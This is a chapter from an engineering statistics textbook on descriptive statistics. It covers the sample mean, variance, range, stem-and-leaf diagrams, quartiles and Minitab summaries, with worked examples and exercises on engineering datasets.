Statistics is the science of data. An important aspect of dealing with data is organizing and summarizing the data in ways that facilitate its interpretation and subsequent analysis. This aspect of statistics is called **descriptive statistics,** and is the subject of this chapter. For example, in Chapter 1 we presented eight observations made on the pull-off force of prototype automobile engine connectors. The observations (in pounds) were 12.6, 12.9, 13.4, 12.3, 13.6, 13.5, 12.6, and 13.1. There is obvious variability in the pull-off force values. How should we summarize the information in these data? This is the general question that we consider. Data summary methods should highlight the important features of the data, such as the middle or central tendency and the variability, because these characteristics are most often important for engineering decision making. We will see that there are both numerical methods for summarizing data and a number of powerful graphical techniques. The graphical techniques are particularly important. Any good statistical analysis of data should always begin with **plotting the data.**

CHAPTER OUTLINE

6-1 NUMERICAL SUMMARIES OF DATA
6-2 STEM-AND-LEAF DIAGRAMS
6-3 FREQUENCY DISTRIBUTIONS AND HISTOGRAMS
6-4 BOX PLOTS
6-5 TIME SEQUENCE PLOTS
6-6 PROBABILITY PLOTS

LEARNING OBJECTIVES

After careful study of this chapter you should be able to do the following:

1. **Compute and interpret the sample mean, sample variance, sample standard deviation, sample median, and sample range**
2. **Explain the concepts of sample mean, sample variance, population mean, and population variance**

3. Construct and interpret visual data displays, including the stem-and-leaf display, the histogram, and the box plot
4. Explain the concept of random sampling
5. Construct and interpret normal probability plots
6. Explain how to use box plots and other data displays to visually compare two or more samples of data
7. Know how to use simple time series plots to visually display the important features of time-oriented data

6-1 NUMERICAL SUMMARIES OF DATA

Well-constructed data summaries and displays are essential to good statistical thinking, because they can focus the engineer on important features of the data or provide insight about the type of model that should be used in solving the problem. The computer has become an important tool in the presentation and analysis of data. While many statistical techniques require only a hand-held calculator, much time and effort may be required by this approach, and a computer will perform the tasks much more efficiently.

Most statistical analysis is done using a prewritten library of statistical programs. The user enters the data and then selects the types of analysis and output displays that are of interest. Statistical software packages are available for both mainframe machines and personal computers. We will present examples of output from Minitab (one of the most widely used PC packages) throughout the book. We will not discuss the hands-on use of Minitab for entering and editing data or using commands. This information is found in the software documentation.

We often find it useful to describe data features **numerically.** For example, we can characterize the location or central tendency in the data by the ordinary arithmetic average or mean. Because we almost always think of our data as a sample, we will refer to the arithmetic mean as the **sample mean.**

Sample Mean

If the n observations in a sample are denoted by $x_1, x_2, \ldots, x_n$, the **sample mean** is

$$\bar{x} = \frac{x_1 + x_2 + \cdots + x_n}{n} = \frac{\sum_{i=1}^{n} x_i}{n} \tag{6-1}$$

EXAMPLE 6-1 Sample Mean

Let's consider the eight observations on pull-off force collected from the prototype engine connectors from Chapter 1. The eight observations are $x_1 = 12.6$, $x_2 = 12.9$, $x_3 = 13.4$, $x_4 = 12.3$, $x_5 = 13.6$, $x_6 = 13.5$, $x_7 = 12.6$, and $x_8 = 13.1$. The sample mean is

$$\bar{x} = \frac{x_1 + x_2 + \cdots + x_n}{n} = \frac{\sum_{i=1}^{8} x_i}{8} = \frac{12.6 + 12.9 + \cdots + 13.1}{8}$$

$$= \frac{104}{8} = 13.0 \text{ pounds}$$

A physical interpretation of the sample mean as a measure of location is shown in the dot diagram of the pull-off force data. See Fig. 6-1. Notice that the sample mean $\bar{x} = 13.0$ can be thought of as a "balance point." That is, if each observation represents 1 pound of mass placed at the point on the x-axis, a fulcrum located at $\bar{x}$ would exactly balance this system of weights.

Figure 6-1 The sample mean as a balance point for a system of weights.

The sample mean is the average value of all the observations in the data set. Usually, these data are a **sample** of observations that have been selected from some larger **population** of observations. Here the population might consist of all the connectors that will be manufactured and sold to customers. Recall that this type of population is called a **conceptual** or **hypothetical population,** because it does not physically exist. Sometimes there is an actual physical population, such as a lot of silicon wafers produced in a semiconductor factory.

In previous chapters we have introduced the mean of a probability distribution, denoted μ. If we think of a probability distribution as a model for the population, one way to think of the mean is as the average of all the measurements in the population. For a finite population with N equally likely values, the probability mass function is $f(x_i) = 1/N$ and the mean is

$$\mu = \sum_{i=1}^{N} x_i f(x_i) = \frac{\sum_{i=1}^{N} x_i}{N} \tag{6-2}$$

The sample mean, $\bar{x}$, is a reasonable estimate of the population mean, μ. Therefore, the engineer designing the connector using a 3/32-inch wall thickness would conclude, on the basis of the data, that an estimate of the mean pull-off force is 13.0 pounds.

Although the sample mean is useful, it does not convey all of the information about a sample of data. The variability or scatter in the data may be described by the **sample variance** or the **sample standard deviation.**

Sample Variance

If $x_1, x_2, \ldots, x_n$ is a sample of n observations, the **sample variance** is

$$s^2 = \frac{\sum_{i=1}^{n} (x_i - \bar{x})^2}{n - 1} \tag{6-3}$$

The **sample standard deviation,** s, is the positive square root of the sample variance.

The units of measurement for the sample variance are the square of the original units of the variable. Thus, if x is measured in pounds, the units for the sample variance are (pounds)^2. The standard deviation has the desirable property of measuring variability in the original units of the variable of interest, x.

How Does the Sample Variance Measure Variability?

To see how the sample variance measures dispersion or variability, refer to Fig. 6-2, which shows the deviations $x_i - \bar{x}$ for the connector pull-off force data. The greater the amount of variability in the pull-off force data, the larger in absolute magnitude some of the deviations $x_i - \bar{x}$ will be. Since the deviations $x_i - \bar{x}$ always sum to zero, we must use a measure of variability that changes the negative deviations to nonnegative quantities. Squaring the deviations is the approach used in the sample variance. Consequently, if s^2 is small, there is relatively little variability in the data, but if s^2 is large, the variability is relatively large.

Figure 6-2 How the sample variance measures variability through the deviations $x_i - \bar{x}$.

EXAMPLE 6-2 Sample Variance

Table 6-1 displays the quantities needed for calculating the sample variance and sample standard deviation for the pull-off force data. These data are plotted in Fig. 6-2. The numerator of s^2 is

$$\sum_{i=1}^{8} (x_i - \bar{x})^2 = 1.60$$

so the sample variance is

$$s^2 = \frac{1.60}{8 - 1} = \frac{1.60}{7} = 0.2286 \text{ (pounds)}^2$$

and the sample standard deviation is

$$s = \sqrt{0.2286} = 0.48 \text{ pounds}$$

Computation of s^2

The computation of s^2 requires calculation of $\bar{x}$, n subtractions, and n squaring and adding operations. If the original observations or the deviations $x_i - \bar{x}$ are not integers, the deviations $x_i - \bar{x}$ may be tedious to work with, and several decimals may have to be carried to ensure numerical accuracy. A more efficient computational formula for the sample variance is obtained as follows:

$$s^2 = \frac{\sum_{i=1}^{n} (x_i - \bar{x})^2}{n - 1} = \frac{\sum_{i=1}^{n} (x_i^2 + \bar{x}^2 - 2\bar{x}x_i)}{n - 1} = \frac{\sum_{i=1}^{n} x_i^2 + n\bar{x}^2 - 2\bar{x}\sum_{i=1}^{n} x_i}{n - 1}$$

and since $\bar{x} = (1/n)\sum_{i=1}^{n} x_i$, this last equation reduces to

$$s^2 = \frac{\sum_{i=1}^{n} x_i^2 - \dfrac{\left(\sum_{i=1}^{n} x_i\right)^2}{n}}{n - 1} \tag{6-4}$$

Table 6-1 Calculation of Terms for the Sample Variance and Sample Standard Deviation

i	x_i	$x_i - \bar{x}$	$(x_i - \bar{x})^2$
1	12.6	−0.4	0.16
2	12.9	−0.1	0.01
3	13.4	0.4	0.16
4	12.3	−0.7	0.49
5	13.6	0.6	0.36
6	13.5	0.5	0.25
7	12.6	−0.4	0.16
8	13.1	0.1	0.01
	104.0	0.0	1.60

Note that Equation 6-4 requires squaring each individual x_i, then squaring the sum of the x_i, subtracting $(\sum x_i)^2/n$ from $\sum x_i^2$, and finally dividing by $n - 1$. Sometimes this is called the shortcut method for calculating s^2 (or s).

EXAMPLE 6-3

We will calculate the sample variance and standard deviation using the shortcut method, Equation 6-4. The formula gives

$$s^2 = \frac{\sum_{i=1}^{n} x_i^2 - \frac{\left(\sum_{i=1}^{n} x_i\right)^2}{n}}{n-1} = \frac{1353.6 - \frac{(104)^2}{8}}{7} = \frac{1.60}{7}$$

$$= 0.2286 \text{ (pounds)}^2$$

and

$$s = \sqrt{0.2286} = 0.48 \text{ pounds}$$

These results agree exactly with those obtained previously.

Analogous to the sample variance s^2, the variability in the population is defined by the **population variance** (σ^2). As in earlier chapters, the positive square root of σ^2, or σ, will denote the **population standard deviation.** When the population is finite and consists of N equally likely values, we may define the population variance as

$$\sigma^2 = \frac{\sum_{i=1}^{N} (x_i - \mu)^2}{N} \tag{6-5}$$

We observed previously that the sample mean could be used as an estimate of the population mean. Similarly, the sample variance is an estimate of the population variance. In Chapter 7, we will discuss **estimation of parameters** more formally.

Note that the divisor for the sample variance is the sample size minus one $(n - 1)$, while for the population variance it is the population size N. If we knew the true value of the population mean μ, we could find the *sample* variance as the average squared deviation of the sample observations about μ. In practice, the value of μ is almost never known, and so the sum of the squared deviations about the sample average $\bar{x}$ must be used instead. However, the observations x_i tend to be closer to their average, $\bar{x}$, than to the population mean, μ. Therefore, to compensate for this we use $n - 1$ as the divisor rather than n. If we used n as the divisor in the sample variance, we would obtain a measure of variability that is, on the average, consistently smaller than the true population variance σ^2.

Another way to think about this is to consider the sample variance s^2 as being based on $n - 1$ **degrees of freedom.** The term *degrees of freedom* results from the fact that the n deviations $x_1 - \bar{x}, x_2 - \bar{x}, \ldots, x_n - \bar{x}$ always sum to zero, and so specifying the values of any $n - 1$ of these quantities automatically determines the remaining one. This was illustrated in Table 6-1. Thus, only $n - 1$ of the n deviations, $x_i - \bar{x}$, are freely determined.

In addition to the sample variance and sample standard deviation, the **sample range,** or the difference between the largest and smallest observations, is a useful measure of variability. The sample range is defined as follows.

Sample Range

If the n observations in a sample are denoted by $x_1, x_2, \ldots, x_n$, the **sample range** is

$$r = \max(x_i) - \min(x_i) \tag{6-6}$$

Figure 6-3 Relationship between a population and a sample.

For the pull-off force data, the sample range is $r = 13.6 - 12.3 = 1.3$. Generally, as the variability in sample data increases, the sample range increases.

The sample range is easy to calculate, but it ignores all of the information in the sample data between the largest and smallest values. For example, the two samples 1, 3, 5, 8, and 9 and 1, 5, 5, 5, and 9 both have the same range ($r = 8$). However, the standard deviation of the first sample is $s_1 = 3.35$, while the standard deviation of the second sample is $s_2 = 2.83$. The variability is actually less in the second sample.

Sometimes, when the sample size is small, say $n < 8$ or 10, the information loss associated with the range is not too serious. For example, the range is used widely in statistical quality control where sample sizes of 4 or 5 are fairly common. We will discuss some of these applications in Chapter 15.

In most statistics problems, we work with a sample of observations selected from the population that we are interested in studying. Figure 6-3 illustrates the relationship between the population and the sample.

EXERCISES FOR SECTIONS 6-1

6-1. Will the sample mean always correspond to one of the observations in the sample?

6-2. Will exactly half of the observations in a sample fall below the mean?

6-3. Will the sample mean always be the most frequently occurring data value in the sample?

6-4. For any set of data values, is it possible for the sample standard deviation to be larger than the sample mean? Give an example.

6-5. Can the sample standard deviation be equal to zero? Give an example.

6-6. Suppose that you add 10 to all of the observations in a sample. How does this change the sample mean? How does it change the sample standard deviation?

6-7. Eight measurements were made on the inside diameter of forged piston rings used in an automobile engine. The data (in millimeters) are 74.001, 74.003, 74.015, 74.000, 74.005, 74.002, 74.005, and 74.004. Calculate the sample mean and sample standard deviation, construct a dot diagram, and comment on the data.

6-8. In *Applied Life Data Analysis* (Wiley, 1982), Wayne Nelson presents the breakdown time of an insulating fluid between electrodes at 34 kV. The times, in minutes, are as follows: 0.19, 0.78, 0.96, 1.31, 2.78, 3.16, 4.15, 4.67, 4.85, 6.50, 7.35, 8.01, 8.27, 12.06, 31.75, 32.52, 33.91, 36.71, and 72.89. Calculate the sample mean and sample standard deviation.

6-9. The January 1990 issue of *Arizona Trend* contains a supplement describing the 12 "best" golf courses in the state. The yardages (lengths) of these courses are as follows: 6981, 7099, 6930, 6992, 7518, 7100, 6935, 7518, 7013, 6800, 7041, and 6890. Calculate the sample mean and sample standard deviation. Construct a dot diagram of the data.

6-10. An article in the *Journal of Structural Engineering* (Vol. 115, 1989) describes an experiment to test the yield strength of circular tubes with caps welded to the ends. The first yields (in kN) are 96, 96, 102, 102, 102, 104, 104, 108, 126, 126, 128, 128, 140, 156, 160, 160, 164, and 170. Calculate the sample mean and sample standard deviation. Construct a dot diagram of the data.

6-11. An article in *Human Factors* (June 1989) presented data on visual accommodation (a function of eye movement) when recognizing a speckle pattern on a high-resolution CRT screen. The data are as follows: 36.45, 67.90, 38.77, 42.18, 26.72, 50.77, 39.30, and 49.71. Calculate the sample mean and sample standard deviation. Construct a dot diagram of the data.

6-12. The following data are direct solar intensity measurements (watts/m^2) on different days at a location in southern Spain: 562, 869, 708, 775, 775, 704, 809, 856, 655, 806, 878, 909, 918, 558, 768, 870, 918, 940, 946, 661, 820, 898, 935, 952, 957, 693, 835, 905, 939, 955, 960, 498, 653, 730, and 753. Calculate the sample mean and sample standard deviation. Prepare a dot diagram of these data. Indicate where the sample mean falls on this diagram. Give a practical interpretation of the sample mean.

6-13. The April 22, 1991, issue of *Aviation Week and Space Technology* reported that during Operation Desert Storm, U.S. Air Force F-117A pilots flew 1270 combat sorties for a total of 6905 hours. What is the mean duration of an F-117A mission during this operation? Why is the parameter you have calculated a population mean?

6-14. Preventing fatigue crack propagation in aircraft structures is an important element of aircraft safety. An engineering study to investigate fatigue crack in $n = 9$ cyclically loaded wing boxes reported the following crack lengths (in mm): 2.13, 2.96, 3.02, 1.82, 1.15, 1.37, 2.04, 2.47, 2.60. Calculate the sample mean and sample standard deviation. Prepare a dot diagram of the data.

6-15. An article in the *Journal of Physiology* [“Response of Rat Muscle to Acute Resistance Exercise Defined by Transcriptional and Translational Profiling” (2002, Vol. 545, pp. 27–41)] studied gene expression as a function of resistance exercise. Expression data (measures of gene activity) from one gene are shown in the following table. One group of rats was exercised for six hours while the other received no exercise. Compute the sample mean and standard deviation of the exercise and no-exercise groups separately. Construct a dot diagram for the exercise and no-exercise groups separately. Comment on any differences between the groups.

6 Hours of Exercise	6 Hours of Exercise	No Exercise	No Exercise
425.313	208.475	485.396	406.921
223.306	286.484	159.471	335.209
388.793	244.242	478.314	
139.262	408.099	245.782	
212.565	157.743	236.212	
324.024	436.37	252.773	

6-16. Exercise 6-11 describes data from an article in *Human Factors* on visual accommodation from an experiment involving a high-resolution CRT screen.

Data from a second experiment using a low-resolution screen were also reported in the article. They are 8.85, 35.80, 26.53, 64.63, 9.00, 15.38, 8.14, and 8.24. Prepare a dot diagram for this second sample and compare it to the one for the first sample. What can you conclude about CRT resolution in this situation?

6-17. The pH of a solution is measured eight times by one operator using the same instrument. She obtains the following data: 7.15, 7.20, 7.18, 7.19, 7.21, 7.20, 7.16, and 7.18. Calculate the sample mean and sample standard deviation. Comment on potential major sources of variability in this experiment.

6-18. An article in the *Journal of Aircraft* (1988) described the computation of drag coefficients for the NASA 0012 airfoil. Different computational algorithms were used at $M_\infty = 0.7$ with the following results (drag coefficients are in units of drag counts; that is, one count is equivalent to a drag coefficient of 0.0001): 79, 100, 74, 83, 81, 85, 82, 80, and 84. Compute the sample mean, sample variance, and sample standard deviation, and construct a dot diagram.

6-19. The following data are the joint temperatures of the O-rings (°F) for each test firing or actual launch of the space shuttle rocket motor (from *Presidential Commission on the Space Shuttle Challenger Accident*, Vol. 1, pp. 129–131): 84, 49, 61, 40, 83, 67, 45, 66, 70, 69, 80, 58, 68, 60, 67, 72, 73, 70, 57, 63, 70, 78, 52, 67, 53, 67, 75, 61, 70, 81, 76, 79, 75, 76, 58, 31.

(a) Compute the sample mean and sample standard deviation and construct a dot diagram of the temperature data.

(b) Set aside the smallest observation (31°F) and recompute the quantities in part (a). Comment on your findings. How “different” are the other temperatures from this last value?

6-2 STEM-AND-LEAF DIAGRAMS

The dot diagram is a useful data display for small samples, up to (say) about 20 observations. However, when the number of observations is moderately large, other graphical displays may be more useful.

For example, consider the data in Table 6-2. These data are the compressive strengths in pounds per square inch (psi) of 80 specimens of a new aluminum-lithium alloy undergoing

Table 6-2 Compressive Strength (in psi) of 80 Aluminum-Lithium Alloy Specimens

105	221	183	186	121	181	180	143
97	154	153	174	120	168	167	141
245	228	174	199	181	158	176	110
163	131	154	115	160	208	158	133
207	180	190	193	194	133	156	123
134	178	76	167	184	135	229	146
218	157	101	171	165	172	158	169
199	151	142	163	145	171	148	158
160	175	149	87	160	237	150	135
196	201	200	176	150	170	118	149

evaluation as a possible material for aircraft structural elements. The data were recorded in the order of testing, and in this format they do not convey much information about compressive strength. Questions such as "What percent of the specimens fail below 120 psi?" are not easy to answer. Because there are many observations, constructing a dot diagram of these data would be relatively inefficient; more effective displays are available for large data sets.

A **stem-and-leaf diagram** is a good way to obtain an informative visual display of a data set $x_1, x_2, \ldots, x_n$, where each number x_i consists of at least two digits. To construct a stem-and-leaf diagram, use the following steps.

Steps to Construct a Stem-and-Leaf Diagram

(1) Divide each number x_i into two parts: a **stem,** consisting of one or more of the leading digits, and a **leaf,** consisting of the remaining digit.

(2) List the stem values in a vertical column.

(3) Record the leaf for each observation beside its stem.

(4) Write the units for stems and leaves on the display.

To illustrate, if the data consist of percent defective information between 0 and 100 on lots of semiconductor wafers, we can divide the value 76 into the stem 7 and the leaf 6. In general, we should choose relatively few stems in comparison with the number of observations. It is usually best to choose between 5 and 20 stems.

EXAMPLE 6-4 Alloy Strength

To illustrate the construction of a stem-and-leaf diagram, consider the alloy compressive strength data in Table 6-2. We will select as stem values the numbers 7, 8, 9, ... , 24. The resulting stem-and-leaf diagram is presented in Fig. 6-4. The last column in the diagram is a frequency count of the number of leaves associated with each stem. Inspection of this display immediately reveals that most of the compressive strengths lie between 110 and 200 psi and that a central value is somewhere between 150 and 160 psi. Furthermore, the strengths are distributed approximately symmetrically about the central value. The stem-and-leaf diagram enables us to determine quickly some important features of the data that were not immediately obvious in the original display in Table 6-2.

In some data sets, it may be desirable to provide more classes or stems. One way to do this would be to modify the original stems as follows: Divide stem 5 (say) into two new stems, 5L and 5U. Stem 5L has leaves 0, 1, 2, 3, and 4, and stem 5U has leaves 5, 6, 7, 8, and 9. This will double the number of original stems. We could increase the number of original stems by four

Stem	Leaf	Frequency
7	6	1
8	7	1
9	7	1
10	5 1	2
11	5 8 0	3
12	1 0 3	3
13	4 1 3 5 3 5	6
14	2 9 5 8 3 1 6 9	8
15	4 7 1 3 4 0 8 8 6 8 0 8	12
16	3 0 7 3 0 5 0 8 7 9	10
17	8 5 4 4 1 6 2 1 0 6	10
18	0 3 6 1 4 1 0	7
19	9 6 0 9 3 4	6
20	7 1 0 8	4
21	8	1
22	1 8 9	3
23	7	1
24	5	1

Stem : Tens and hundreds digits (psi); Leaf: Ones digits (psi)

Figure 6-4 Stem-and-leaf diagram for the compressive strength data in Table 6-2.

by defining five new stems: 5z with leaves 0 and 1, 5t (for twos and three) with leaves 2 and 3, 5f (for fours and fives) with leaves 4 and 5, 5s (for six and seven) with leaves 6 and 7, and 5e with leaves 8 and 9.

EXAMPLE 6-5 Chemical Yield

Figure 6-5 illustrates the stem-and-leaf diagram for 25 observations on batch yields from a chemical process. In Fig. 6-5(a) we have used 6, 7, 8, and 9 as the stems. This results in too few stems, and the stem-and-leaf diagram does not provide much information about the data. In Fig. 6-5(b) we have divided each stem into two parts, resulting in a display that more adequately displays the data. Figure 6-5(c) illustrates a stem-and-leaf display with each stem divided into five parts. There are too many stems in this plot, resulting in a display that does not tell us much about the shape of the data.

Figure 6-6 shows a stem-and-leaf display of the compressive strength data in Table 6-2 produced by Minitab. The software uses the same stems as in Fig. 6-4. Note also that the computer orders the leaves from smallest to largest on each stem. This form of the plot is usually called an **ordered stem-and-leaf diagram.** This is not usually done when the plot is constructed manually because it can be time-consuming. The computer adds a column to the left of the stems that provides a count of the observations at and above each stem in the upper half of the display and a count of the observations at and below each stem in the lower half of the display. At the middle stem of 16, the column indicates the number of observations at this stem.

The ordered stem-and-leaf display makes it relatively easy to find data features such as percentiles, quartiles, and the median. The sample **median** is a measure of central tendency that divides the data into two equal parts, half below the median and half above. If the number of observations is even, the median is halfway between the two central values. From Fig. 6-6 we find the 40th and 41st values of strength as 160 and 163, so the median is $(160 + 163)/2 = 161.5$. If the number of observations is odd, the median is the central value. The sample **mode** is the most frequently occurring data value. Figure 6-6 indicates that the mode

Stem	Leaf
6	1 3 4 5 5 6
7	0 1 1 3 5 7 8 8 9
8	1 3 4 4 7 8 8
9	2 3 5

(a)

Stem	Leaf
6L	1 3 4
6U	5 5 6
7L	0 1 1 3
7U	5 7 8 8 9
8L	1 3 4 4
8U	7 8 8
9L	2 3
9U	5

(b)

Stem	Leaf
6z	1
6t	3
6f	4 5 5
6s	6
6e	
7z	0 1 1
7t	3
7f	5
7s	7
7e	8 8 9
8z	1
8t	3
8f	4 4
8s	7
8e	8 8
9z	
9t	2 3
9f	5
9s	
9e	

(c)

Figure 6-5 Stem-and-leaf displays for Example 6-5. Stem: Tens digits. Leaf: Ones digits.

is 158; this value occurs four times, and no other value occurs as frequently in the sample. If there were more than one value that occurred four times, the data would have multiple modes.

We can also divide data into more than two parts. When an ordered set of data is divided into four equal parts, the division points are called **quartiles.** The *first* or *lower quartile*, q_1, is a value that has approximately 25% of the observations below it and approximately 75%

Character Stem-and-Leaf Display

Stem-and-leaf of Strength
N = 80 Leaf Unit = 1.0

1	7	6
2	8	7
3	9	7
5	10	1 5
8	11	0 5 8
11	12	0 1 3
17	13	1 3 3 4 5 5
25	14	1 2 3 5 6 8 9 9
37	15	0 0 1 3 4 4 6 7 8 8 8 8
(10)	16	0 0 0 3 3 5 7 7 8 9
33	17	0 1 1 2 4 4 5 6 6 8
23	18	0 0 1 1 3 4 6
16	19	0 3 4 6 9 9
10	20	0 1 7 8
6	21	8
5	22	1 8 9
2	23	7
1	24	5

Figure 6-6 A stem-and-leaf diagram from Minitab.

Table 6-3 Summary Statistics for the Compressive Strength Data from Minitab

Variable	N	Mean	Median	StDev	SE Mean
	80	162.66	161.50	33.77	3.78
	Min	Max	Q1	Q3	
	76.00	245.00	143.50	181.00	

of the observations above. The *second quartile*, q_2, has approximately 50% of the observations below its value. The second quartile is exactly equal to the median. The *third* or *upper quartile*, q_3, has approximately 75% of the observations below its value. As in the case of the median, the quartiles may not be unique. The compressive strength data in Fig. 6-6 contain $n = 80$ observations. Minitab software calculates the first and third quartiles as the $(n + 1)/4$ and $3(n + 1)/4$ ordered observations and interpolates as needed, for example, $(80 + 1)/4 = 20.25$ and $3(80 + 1)/4 = 60.75$. Therefore, Minitab interpolates between the 20th and 21st ordered observation to obtain $q_1 = 143.50$ and between the 60th and 61st observation to obtain $q_3 = 181.00$. In general, the $100k$th **percentile** is a data value such that approximately $100k\%$ of the observations are at or below this value and approximately $100(1 - k)\%$ of them are above it. Finally, we may use the **interquartile range,** defined as $\text{IQR} = q_3 - q_1$, as a measure of variability. The interquartile range is less sensitive to the extreme values in the sample than is the ordinary sample range.

Many statistics software packages provide data summaries that include these quantities. The output obtained for the compressive strength data in Table 6-2 from Minitab is shown in Table 6-3.

EXERCISES FOR SECTION 6-2

6-20. When will the median of a sample be equal to the sample mean?

6-21. When will the median of a sample be equal to the mode?

6-22. An article in *Technometrics* (Vol. 19, 1977, p. 425) presented the following data on the motor fuel octane ratings of several blends of gasoline:

88.5	98.8	89.6	92.2	92.7	88.4	87.5	90.9
94.7	88.3	90.4	83.4	87.9	92.6	87.8	89.9
84.3	90.4	91.6	91.0	93.0	93.7	88.3	91.8
90.1	91.2	90.7	88.2	94.4	96.5	89.2	89.7
89.0	90.6	88.6	88.5	90.4	84.3	92.3	92.2
89.8	92.2	88.3	93.3	91.2	93.2	88.9	
91.6	87.7	94.2	87.4	86.7	88.6	89.8	
90.3	91.1	85.3	91.1	94.2	88.7	92.7	
90.0	86.7	90.1	90.5	90.8	92.7	93.3	
91.5	93.4	89.3	100.3	90.1	89.3	86.7	
89.9	96.1	91.1	87.6	91.8	91.0	91.0	

Construct a stem-and-leaf display for these data. Calculate the median and quartiles of these data.

6-23. The following data are the numbers of cycles to failure of aluminum test coupons subjected to repeated alternating stress at 21,000 psi, 18 cycles per second.

1115	865	1015	885	1594	1000	1416	1501
1310	2130	845	1223	2023	1820	1560	1238
1540	1421	1674	375	1315	1940	1055	990
1502	1109	1016	2265	1269	1120	1764	1468
1258	1481	1102	1910	1260	910	1330	1512
1315	1567	1605	1018	1888	1730	1608	1750
1085	1883	706	1452	1782	1102	1535	1642
798	1203	2215	1890	1522	1578	1781	
1020	1270	785	2100	1792	758	1750	

Construct a stem-and-leaf display for these data. Calculate the median and quartiles of these data. Does it appear likely that a coupon will "survive" beyond 2000 cycles? Justify your answer.

6-24. The percentage of cotton in material used to manufacture men's shirts follows. Construct a stem-and-leaf display for the data. Calculate the median and quartiles of these data.

34.2	37.8	33.6	32.6	33.8	35.8	34.7	34.6
33.1	36.6	34.7	33.1	34.2	37.6	33.6	33.6
34.5	35.4	35.0	34.6	33.4	37.3	32.5	34.1
35.6	34.6	35.4	35.9	34.7	34.6	34.1	34.7
36.3	33.8	36.2	34.7	34.6	35.5	35.1	35.7
35.1	37.1	36.8	33.6	35.2	32.8	36.8	36.8
34.7	34.0	35.1	32.9	35.0	32.1	37.9	34.3
33.6	34.1	35.3	33.5	34.9	34.5	36.4	32.7

6-25. The following data represent the yield on 90 consecutive batches of ceramic substrate to which a metal coating has been applied by a vapor-deposition process. Construct a stem-and-leaf display for these data. Calculate the median and quartiles of these data.

94.1	86.1	95.3	84.9	88.8	84.6	94.4	84.1
93.2	90.4	94.1	78.3	86.4	83.6	96.1	83.7
90.6	89.1	97.8	89.6	85.1	85.4	98.0	82.9
91.4	87.3	93.1	90.3	84.0	89.7	85.4	87.3
88.2	84.1	86.4	93.1	93.7	87.6	86.6	86.4
86.1	90.1	87.6	94.6	87.7	85.1	91.7	84.5
95.1	95.2	94.1	96.3	90.6	89.6	87.5	
90.0	86.1	92.1	94.7	89.4	90.0	84.2	
92.4	94.3	96.4	91.1	88.6	90.1	85.1	
87.3	93.2	88.2	92.4	84.1	94.3	90.5	
86.6	86.7	86.4	90.6	82.6	97.3	95.6	
91.2	83.0	85.0	89.1	83.1	96.8	88.3	

6-26. Calculate the sample median, mode, and mean of the data in Exercise 6-22. Explain how these three measures of location describe different features of the data.

6-27. Calculate the sample median, mode, and mean of the data in Exercise 6-23. Explain how these three measures of location describe different features in the data.

6-28. Calculate the sample median, mode, and mean for the data in Exercise 6-24. Explain how these three measures of location describe different features of the data.

6-29. The net energy consumption (in billions of kilowatt-hours) for countries in Asia in 2003 was as follows (source: U.S. Department of Energy Web site, http://www.eia.doe.gov/emeu). Construct a stem-and-leaf diagram for these data and comment on any important features that you notice. Compute the sample mean, sample standard deviation, and sample median.

	Billions of Kilowatt-Hours
Afghanistan	1.04
Australia	200.66
Bangladesh	16.20
Burma	6.88
China	1671.23
Hong Kong	38.43
India	519.04
Indonesia	101.80
Japan	946.27
Korea, North	17.43
Korea, South	303.33
Laos	3.30
Malaysia	73.63
Mongolia	2.91
Nepal	2.30
New Zealand	37.03
Pakistan	71.54
Philippines	44.48
Singapore	30.89
Sri Lanka	6.80
Taiwan	154.34
Thailand	107.34
Vietnam	36.92
Total	**4393.8**

6-30. The female students in an undergraduate engineering core course at ASU self-reported their heights to the nearest inch. The data are below. Construct a stem-and-leaf diagram for the height data and comment on any important features that you notice. Calculate the sample mean, the sample standard deviation, and the sample median of height.

62	64	66	67	65	68	61	65	67	65	64	63	67
68	64	66	68	69	65	67	62	66	68	67	66	65
69	65	70	65	67	68	65	63	64	67	67		

6-31. The shear strengths of 100 spot welds in a titanium alloy follow. Construct a stem-and-leaf diagram for the weld strength data and comment on any important features that you notice. What is the 95th percentile of strength?

5408	5431	5475	5442	5376	5388	5459	5422	5416	5435
5420	5429	5401	5446	5487	5416	5382	5357	5388	5457
5407	5469	5416	5377	5454	5375	5409	5459	5445	5429
5463	5408	5481	5453	5422	5354	5421	5406	5444	5466
5399	5391	5477	5447	5329	5473	5423	5441	5412	5384
5445	5436	5454	5453	5428	5418	5465	5427	5421	5396
5381	5425	5388	5388	5378	5481	5387	5440	5482	5406
5401	5411	5399	5431	5440	5413	5406	5342	5452	5420
5458	5485	5431	5416	5431	5390	5399	5435	5387	5462
5383	5401	5407	5385	5440	5422	5448	5366	5430	5418

6-32. An important quality characteristic of water is the concentration of suspended solid material. Following are 60 measurements on suspended solids from a certain lake. Construct a stem-and-leaf diagram for these data and comment on any important features that you notice. Compute the sample mean, the

sample standard deviation, and the sample median. What is the 90th percentile of concentration?

42.4	65.7	29.8	58.7	52.1	55.8	57.0	68.7	67.3	67.3
54.3	54.0	73.1	81.3	59.9	56.9	62.2	69.9	66.9	59.0
56.3	43.3	57.4	45.3	80.1	49.7	42.8	42.4	59.6	65.8
61.4	64.0	64.2	72.6	72.5	46.1	53.1	56.1	67.2	70.7
42.6	77.4	54.7	57.1	77.3	39.3	76.4	59.3	51.1	73.8
61.4	73.1	77.3	48.5	89.8	50.7	52.0	59.6	66.1	31.6

6-33. The United States Golf Association tests golf balls to ensure that they conform to the rules of golf. Balls are tested for weight, diameter, roundness, and overall distance. The overall distance test is conducted by hitting balls with a driver swung by a mechanical device nicknamed "Iron Byron" after the legendary great Byron Nelson, whose swing the machine is said to emulate. Following are 100 distances (in yards) achieved by a particular brand of golf ball in the overall distance test. Construct a stem-and-leaf diagram for these data and comment on any important features that you notice. Compute the sample mean, sample standard deviation, and the sample median. What is the 90th percentile of distances?

261.3	259.4	265.7	270.6	274.2	261.4	254.5	283.7
258.1	270.5	255.1	268.9	267.4	253.6	234.3	263.2
254.2	270.7	233.7	263.5	244.5	251.8	259.5	257.5
257.7	272.6	253.7	262.2	252.0	280.3	274.9	233.7
237.9	274.0	264.5	244.8	264.0	268.3	272.1	260.2
255.8	260.7	245.5	279.6	237.8	278.5	273.3	263.7
241.4	260.6	280.3	272.7	261.0	260.0	279.3	252.1
244.3	272.2	248.3	278.7	236.0	271.2	279.8	245.6
241.2	251.1	267.0	273.4	247.7	254.8	272.8	270.5
254.4	232.1	271.5	242.9	273.6	256.1	251.6	
256.8	273.0	240.8	276.6	264.5	264.5	226.8	
255.3	266.6	250.2	255.8	285.3	255.4	240.5	
255.0	273.2	251.4	276.1	277.8	266.8	268.5	

